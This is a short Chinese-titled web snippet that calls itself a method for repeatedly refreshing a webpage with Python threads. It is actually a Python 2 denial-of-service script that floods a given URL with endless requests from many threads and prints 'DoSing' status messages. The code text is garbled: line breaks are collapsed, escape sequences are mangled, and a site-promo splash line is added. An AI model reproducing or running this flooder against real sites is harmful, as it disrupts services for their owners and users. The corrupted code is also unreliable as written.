python使用多线程不断刷新网页的方法

import threadimport urllib2import sysimport timedef usage():  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'  sys.exit()def reloader(numthread):  url = sys.argv[1]  numreloads = 0  while True:    try:      urllib2.urlopen(url)      numreloads = numreloads + 1    except KeyboardInterrupt:      sys.exit('/nProcess aborted.')def splash():  print 'welcome to //www.VeVB.COm/codes 'if len(sys.argv) < 3:  usage()if __name__ == '__main__':  splash()  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'  for reloadspawn in range(0, int(sys.argv[2])):    thread.start_new_thread(reloader, (reloadspawn,))  sys.stdout.write('')  dosind = ['-', '//', '|', '/']  dosstat = 0  while True:    try:      sys.stdout.write('/r' + dosind[dosstat % 4] + ' DoSing...')      sys.stdout.flush()      dosstat = dosstat + 1      time.sleep(0.25)    except KeyboardInterrupt:      sys.exit('/nProcess aborted.')